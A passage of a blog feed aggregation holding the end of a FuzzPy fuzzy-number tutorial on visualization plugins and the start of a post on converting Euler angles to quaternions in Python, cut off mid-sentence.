&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;3.0&lt;/span&gt;, &lt;span&gt;4.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, support &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;6.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Polygonal Intersection:&lt;/span&gt;
... &lt;span&gt;print&lt;/span&gt; polygonal&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;amp;&lt;/span&gt; polygonal&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
PolygonalFuzzyNumber: kernel &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;, support &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;6.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Trapezoidal Addition:&lt;/span&gt;
... &lt;span&gt;print&lt;/span&gt; trapezoidal&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; + trapezoidal&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
TrapezoidalFuzzyNumber: kernel &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;2.0&lt;/span&gt;, &lt;span&gt;8.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, support &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0.8000000&lt;/span&gt;\
0000000004, &lt;span&gt;13.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;# Gaussian Addition&lt;/span&gt;
... &lt;span&gt;print&lt;/span&gt; gaussian&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; + gaussian&lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
GaussianFuzzyNumber: kernel &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;13.0&lt;/span&gt;, &lt;span&gt;13.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;, support &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4.85663149&lt;/span&gt;\
07018668, &lt;span&gt;21.143368509298135&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The class inheritance chain for FuzzPy&amp;#8217;s FuzzyNumber derived classes looks like this:&lt;/p&gt;
&lt;div id=&quot;attachment_253&quot; class=&quot;wp-caption aligncenter&quot;&gt;&lt;a href=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/fuzzy_number_inheritance.png&quot;&gt;&lt;img class=&quot;size-full wp-image-253&quot; title=&quot;Fuzzy Number Class Inheritance&quot; src=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/fuzzy_number_inheritance.png&quot; alt=&quot;fuzzy_number_class_inheritance.png&quot; width=&quot;588&quot; height=&quot;249&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Fuzzy Number Class Inheritance&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Visualizations&lt;/h2&gt;
&lt;p&gt;FuzzPy ships with a small visualization framework that is able to create visualizations for almost all FuzzPy types, and encode them in a variety of formats. In most cases, creating and storing a visualization is a trivial operation:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;from&lt;/span&gt; fuzzynums &lt;span&gt;import&lt;/span&gt; &lt;span&gt;*&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; fuzz.&lt;span&gt;visualization&lt;/span&gt; &lt;span&gt;import&lt;/span&gt; VisManager
&amp;nbsp;
gaussian = fuzz.&lt;span&gt;GaussianFuzzyNumber&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1.0&lt;/span&gt;, &lt;span&gt;0.2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
plugin = VisManager.&lt;span&gt;create_backend&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;gaussian&lt;span&gt;&amp;#41;&lt;/span&gt;
&lt;span&gt;&amp;#40;&lt;/span&gt;vis_format, vis_data&lt;span&gt;&amp;#41;&lt;/span&gt; = plugin.&lt;span&gt;visualize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;with&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;open&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;visualization.%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; vis_format, &lt;span&gt;&amp;quot;wb&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; fp:
    fp.&lt;span&gt;write&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;vis_data&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this example, we passed our &lt;code&gt;FuzzyNumber&lt;/code&gt; instance to the &lt;code&gt;VisManager.create_backend()&lt;/code&gt; method, which is a plugin factory method, and it returned the first plugin it could find that can be used to create a visualization of our &lt;code&gt;FuzzyNumber&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The plugin&amp;#8217;s &lt;code&gt;visualize()&lt;/code&gt; method was called, and returned a tuple containing the file format of the visualization, and its payload. We then created a file using the returned format as extension, and stored the payload in that file.&lt;/p&gt;
&lt;p&gt;You can also force the VisManager object to use a certain plugin if you do not want to rely on the default plugin picked for the type of object to visualize:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;plugin = VisManager.&lt;span&gt;create_backend&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;gaussian, &lt;span&gt;'num_gnuplot'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Similarly, a plugin&amp;#8217;s &lt;code&gt;visualize()&lt;/code&gt; method can accept arguments to customize the final output. For example, the following code would tell the plugin to use the &amp;#8216;gif&amp;#8217; image format:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;vis_format, vis_data&lt;span&gt;&amp;#41;&lt;/span&gt; = plugin.&lt;span&gt;visualize&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;format=&lt;span&gt;&amp;quot;gif&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You will need to have &lt;a href=&quot;http://www.graphviz.org/&quot;&gt;Graphviz&lt;/a&gt; installed for graph visualizations, and &lt;a href=&quot;http://www.gnuplot.info/&quot;&gt;Gnuplot&lt;/a&gt; for fuzzy number visualizations.&lt;/p&gt;
&lt;p&gt;Now that you know how to use all the FuzzPy types and how to create visualizations for your data, you can start using FuzzPy in your own project, or get involved in the development process. Check out the project&amp;#8217;s &lt;a href=&quot;http://github.com/ezod/fuzzpy&quot;&gt;GitHub&lt;/a&gt; page for more information.&lt;/p&gt;
&lt;div id=&quot;attachment_274&quot; class=&quot;wp-caption alignleft&quot;&gt;&lt;a href=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/fuzzy_directed_graph.png&quot;&gt;&lt;img class=&quot;size-medium wp-image-274&quot; title=&quot;Fuzzy Digraph Visualization&quot; src=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/fuzzy_directed_graph-211x300.png&quot; alt=&quot;fuzzy_digraph&quot; width=&quot;211&quot; height=&quot;300&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Fuzzy Digraph Visualization&lt;/p&gt;&lt;/div&gt;
&lt;div id=&quot;attachment_272&quot; class=&quot;wp-caption alignright&quot;&gt;&lt;a href=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/polygonal.png&quot;&gt;&lt;img class=&quot;size-medium wp-image-272&quot; title=&quot;Polygonal Fuzzy Number&quot; src=&quot;http://blog.madpython.com/wp-content/uploads/2010/11/polygonal-300x225.png&quot; alt=&quot;polygonal_fuzzy_number&quot; width=&quot;300&quot; height=&quot;225&quot; /&gt;&lt;/a&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Polygonal Fuzzy Number&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;&lt;a class=&quot;a2a_button_reddit&quot; href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_delicious&quot; href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_google_bookmarks&quot; href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_facebook&quot; href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_stumbleupon&quot; href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_linkedin&quot; href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_twitter&quot; href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;linkname=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.madpython.com%2F2010%2F11%2F03%2Ffuzzy-mathematics-with-fuzzpy-part-2%2F&amp;amp;title=Fuzzy%20Mathematics%20with%20FuzzPy%20%28Part%202%29&quot; id=&quot;wpa2a_2&quot;&gt;Share&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Related posts:&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/10/17/fuzzy-mathematics-with-fuzzpy-part-1/&quot; rel=&quot;bookmark&quot; title=&quot;Fuzzy Mathematics with FuzzPy (Part 1)&quot;&gt;Fuzzy Mathematics with FuzzPy (Part 1)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary exponentiation&quot;&gt;Algorithms in Python: Binary exponentiation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/17/algorithms-in-python-binary-operations/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary Operations&quot;&gt;Algorithms in Python: Binary Operations&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2012-02-06T10:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Rise of the Quaternions</title>
		<link href="http://blog.mavrinac.com/2010/10/rise-of-the-quaternions/"/>
		<id>http://blog.mavrinac.com/?p=188</id>
		<updated>2010-10-19T01:12:50+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a href=&quot;http://github.com/ezod/adolphus&quot;&gt;Adolphus&lt;/a&gt; finally quit messing around and started using a &lt;a href=&quot;http://en.wikipedia.org/wiki/Quaternion&quot;&gt;quaternion&lt;/a&gt; representation for rotations internally! The &lt;a href=&quot;http://github.com/ezod/adolphus/blob/master/adolphus/geometry.py#L540&quot;&gt;quaternion class&lt;/a&gt; itself is simple, and conversion to and from &lt;a href=&quot;http://en.wikipedia.org/wiki/Rotation_matrix&quot;&gt;rotation matrix&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/Axis_angle&quot;&gt;axis-angle&lt;/a&gt; representations is fairly straightforward. The magic happens in converting from &lt;a href=&quot;http://en.wikipedia.org/wiki/Euler_angles&quot;&gt;Euler angles&lt;/a&gt; &amp;#8212; all twelve valid conventions!&lt;/p&gt;
&lt;p&gt;By solving the conversion to quaternion for all twelve possibilities, I managed to squeeze out a pattern that allows me to solve them with a near-minimum of redundant code:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;    @&lt;span&gt;staticmethod&lt;/span&gt;
    &lt;span&gt;def&lt;/span&gt; from_euler&lt;span&gt;&amp;#40;&lt;/span&gt;convention, angles&lt;span&gt;&amp;#41;&lt;/span&gt;:
        &lt;span&gt;def&lt;/span&gt; qterm&lt;span&gt;&amp;#40;&lt;/span&gt;index&lt;span&gt;&amp;#41;&lt;/span&gt;:
            bin = &lt;span&gt;lambda&lt;/span&gt; x: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;x &lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt;x &lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;, x &lt;span&gt;%&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
            &lt;span&gt;return&lt;/span&gt; copysign&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;, index&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;reduce&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;lambda&lt;/span&gt; a, b: a &lt;span&gt;*&lt;/span&gt; b,
                &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bit &lt;span&gt;and&lt;/span&gt; sin &lt;span&gt;or&lt;/span&gt; cos&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;angles&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt; / &lt;span&gt;2.0&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; \
                &lt;span&gt;for&lt;/span&gt; i, bit &lt;span&gt;in&lt;/span&gt; &lt;span&gt;enumerate&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;abs&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;index&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        &lt;span&gt;# TODO: can these be generated from the convention?&lt;/span&gt;
        eulerquat = &lt;span&gt;&amp;#123;&lt;/span&gt;&lt;span&gt;'xyx'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, -&lt;span&gt;6&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'xyz'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;7&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'xzx'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, -&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'xzy'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, -&lt;span&gt;6&lt;/span&gt;, -&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'yxy'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, -&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'yxz'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, -&lt;span&gt;6&lt;/span&gt;, -&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'yzx'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;7&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'yzy'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, -&lt;span&gt;6&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'zxy'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;7&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'zxz'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;3&lt;/span&gt;, -&lt;span&gt;6&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'zyx'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, -&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;5&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, -&lt;span&gt;6&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;,
                     &lt;span&gt;'zyz'&lt;/span&gt;: &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;5&lt;/span&gt;, -&lt;span&gt;3&lt;/span&gt;, &lt;span&gt;6&lt;/span&gt;, &lt;span&gt;2&lt;/span&gt;, &lt;span&gt;7&lt;/span&gt;, &lt;span&gt;1&lt;/span&gt;, &lt;span&gt;4&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#125;&lt;/span&gt;
        a, b, c, d = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;qterm&lt;span&gt;&amp;#40;&lt;/span&gt;eulerquat&lt;span&gt;&amp;#91;&lt;/span&gt;convention&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;i + j &lt;span&gt;*&lt;/span&gt; &lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; \
                      &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;for&lt;/span&gt; j &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
        &lt;span&gt;if&lt;/span&gt; a &lt;span&gt;&amp;gt;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;:
            &lt;span&gt;return&lt;/span&gt; Quaternion&lt;span&gt;&amp;#40;&lt;/span&gt;a, -b, -c, -d&lt;span&gt;&amp;#41;&lt;/span&gt;
        &lt;span&gt;else&lt;/span&gt;:
            &lt;span&gt;return&lt;/span&gt; Quaternion&lt;span&gt;&amp;#40;&lt;/span&gt;-a, b, c, d&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Now, those hard-coded sequences of numbers? I am sure there is some relationship between the patterns and the conventions that would allow a more concise translation from one to the other. Note that, for a sequence [&lt;i&gt;a&lt;/i&gt;, &lt;i&gt;b&lt;/i&gt;, &lt;i&gt;c&lt;/i&gt;, &lt;i&gt;d&lt;/i&gt;, &lt;i&gt;e&lt;/i&gt;, &lt;i&gt;f&lt;/i&gt;, &lt;i&gt;g&lt;/i&gt;, &lt;i&gt;h&lt;/i&gt;], any or all of the pairs (&lt;i&gt;a&lt;/i&gt;, &lt;i&gt;b&lt;/i&gt;), (&lt;i&gt;c&lt;/i&gt;, &lt;i&gt;d&lt;/i&gt;), (&lt;i&gt;e&lt;/i&gt;, &lt;i&gt;f&lt;/i&gt;), and (&lt;i&gt;g&lt;/i&gt;, &lt;i&gt;h&lt;/i&gt;) can be swapped without changing anything (for example, the sequence for &lt;i&gt;zyx&lt;/i&gt; could just as easily be [0, 7, 4, -3, 2, 5, -6, 1]). This has the unfortunate effect of making finding a pattern more 